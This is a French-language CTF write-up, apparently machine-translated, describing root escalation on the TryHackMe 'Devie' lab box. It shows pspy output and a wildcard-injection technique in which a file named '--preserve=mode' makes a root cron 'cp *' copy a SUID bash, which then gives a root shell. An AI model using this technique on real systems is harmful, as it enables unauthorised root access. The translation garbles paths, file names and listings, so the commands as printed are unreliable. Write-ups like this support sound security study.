2023/05/25 14:13:40 CMD: UID = 0 pid = 18 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 17 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 16 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 15 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 14 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 13 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 12 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 11 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 10 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 9 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 8 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 6 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 4 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 3 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 2 | 2023/05/25 14:13:40 cmd: uid = 0 pid = 1 | / sbin / init peut-être-UBICITY 2023/05/25 14:14:01 cmd: uid = 0 pid = 1762 | / usr / sbin / cron -f 2023/05/25 14:14:01 cmd: uid = 0 pid = 1764 | / bin / sh -c / usr / bin / bash / usr / bin / backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1765 | / usr / bin / bash / usr / bin / sauvegarde 2023/05/25 14:14:01 cmd: uid = 0 pid = 1767 | CP RAPPORT1 RAPPORT2 RAPPORT3 TEST.TXT / HOME / GORDON / BACKUPS /

C'est ce que je suis curieux.

2023/05/25 14:14:01 CMD: UID = 0 pid = 1764 | / bin / sh -c / usr / bin / bash / usr / bin / backup 2023/05/25 14:14:01 cmd: uid = 0 pid = 1765 | / usr / bin / bash / usr / bin / backup

Jetons un coup d'œil à l'intérieur "/ usr / bin / sauvegarde".

gordon @ devie: ~ $ cat / usr / bin / binup #! / bin / bash cd / home / gordon / reports / cp * / home / gordon / backups /

Il semble qu'ils soient copiés à l'aide de jokers.
Si vous pouvez accorder avec succès –preserve = mode, vous pouvez copier tout en conservant les droits d'accès,
il semble donc que vous pouvez copier l'accès aux utilisateurs de bash avec les autorisations SUID accordées.

Copier Bash, accorder des autorisations SUID à l'accès des utilisateurs et créer un fichier appelé "–preserve = mode".

gordon @ devie: ~ $ cd / home / gordon / report gordon @ devie: ~ / report $ cp / bin / bash. Gordon @ Devie: ~ / Reports $ Chmod U + S Bash Gordon @ Devie: ~ / Reports $ echo ''> '--preserve = mode' gordon @ devie: ~ / report $ ls -lah total 1,2m drwxrwx --- 2 Gordon Gordon 4.0k mai 25 14:20. DRWXR-XR-X 5 GORDON GORDON 4.0K 25 mai 14:10 .. -rwsr-xr-x 1 Gordon Gordon 1.2M 25 mai 14:20 BASH -RW-RW-R - 1 Gordon Gordon 1 mai 25:20 '--preserve = Mode' -rw-R - 1 640 Gordon 57 Feb 19 23:31 Gordon 72 février 19 23:32 Rapport2 -rw-r - r-- 1 640 Gordon 100 février 19 23:33 Rapport3 -rw-rw-r-- 1 Gordon Gordon 0 mai 25 14:03 test.txt

Puisque vous allez l'avoir, démarrez votre PSPY64 et attendez 1 minute.

gordon @ devie: ~ $ ./pspy64 pspy - Version: v1.2.1 - Commit Sha: F9e6a1590a4312b9faa093d8dc84e19567977a6d ██▓████ ██▓███ ▓██░ ██▓██░ ██▒▒▒▒██░ ██▒░ ▓██░ ██▓▒░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▓██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ██▓▒░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ▒██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██░ ▒██░ ██ ▒ ▒ ██▒██▄█▓▒ ▒ ▐██▓░ ▒██▒ ░ ▒██░ ░ ██▒▒▒▒▒▒ ██ ░ ██▒▒▒ ░ ░ ░ ██▒▒▒ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░. ░ ░ Config: Événements d'impression (colored = true): Processes = true | file-system-events = false ||| Analyse des processus toutes les 100 ms et sur les événements inotifier ||| Regarder les répertoires: [/ usr / tmp / etc / home / var / opt] (récursif) | [] (non réécursives) Événements de système de fichiers drainent dû au démarrage ... fait 2023/05/25 14:24:34 CMD: UID = 1001 PID = 1834 | ./pspy64 ・・・ 2023/05/25 14:24:34 cmd: uid = 0 pid = 1 | / sbin / init peut-être-UBICITY 2023/05/25 14:25:01 cmd: uid = 0 pid = 1842 | / usr / sbin / cron -f 2023/05/25 14:25:01 cmd: uid = 0 pid = 1843 | / bin / sh -c / usr / bin / bash / usr / bin / backup 2023/05/25 14:25:01 cmd: uid = 0 pid = 1845 | CP BASH --Preserve = Mode Report1 Report2 Report3 Test.txt / Home / Gordon / Backups / 

Lorsque le résultat net est exécuté, "–preserve = mode" est exécuté en option, pas comme un fichier.
Ainsi, dans Backpus, Bash avec Root accordé les privilèges SUID sera copié.

Gordon @ Devie: ~ / Backups $ ll Total 1176 Drwxrwx --- 2 Gordon Gordon 4096 25 mai 14:21 ./ Drwxr-xr -x 5 Gordon Gordon 4096 25 mai 14:10 ../ -rwsr-xr-x 1 racine racine 118348 RAPPORT1 -RW-R --R-- 1 Root Root 72 25 mai 14:22 RAPPORT2 -RW-R --R-- 1 Root Root 100 mai 25 14:22 RAPPORT3 -RW-RW-R - 1 Root Root 0 mai 25 14:22 Test.txt

Faisons bash.
J'ai été élevé avec succès aux privilèges root.

gordon @ devie: ~ / sauvegarde $ ./bash -p bash-5.0 # whoami root

Une fois que vous avez vérifié root.txt depuis / root, vous pouvez obtenir l'indicateur.

bash-5.0 # cd / root bash-5.0 # ls root.txt snap bash-5.0 # cat root.txt thm {j0k3r $ _ar3_w1ld}

Répondre

résumé

Cette fois, j'ai essayé l'injection de commande en utilisant la fonction EVAL () de Python.
C'est la première fois que je fais l'injection de commandement, et j'ai été surpris de voir à quel point il était facile de le faire.

Il y avait également d'autres escalades de privilèges utilisant le cryptage XOR et SUID. Vous verrez occasionnellement l'escalade des privilèges à l'aide de SUIDS.
Le chiffrement XOR est-il disponible ailleurs? Je suis tombé un peu, donc je vais me venger.

Références et sites

Hacklido: https://hacklido.com/blog/434-tryhackme-devie-walkthrough-ctf-writeup
disc: https://vulnerable.sh/posts/thm_devie/

Partagez si vous le souhaitez!

Qui a écrit cet article

Ceci est un blog que j'ai commencé à étudier la sécurité de l'information. En tant que nouvel employé, je serais heureux si vous pouviez regarder avec un cœur large.
Il y a aussi Teech Lab, qui est l'occasion d'étudier le plaisir en programmation, donc si vous êtes intéressé par le développement de logiciels, assurez-vous de jeter un œil!

table des matières